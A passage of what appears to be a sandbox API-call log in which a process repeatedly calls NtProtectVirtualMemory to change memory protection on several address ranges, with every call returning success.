out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.758] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.769] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.779] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.882] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.955] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.014] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.125] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.135] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.146] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.183] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.193] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.209] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.256] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.304] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.314] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.409] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.447] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.457] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.669] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.728] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.775] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.796] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.817] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.835] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.905] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.916] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.936] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.975] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.024] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.040] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.077] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, 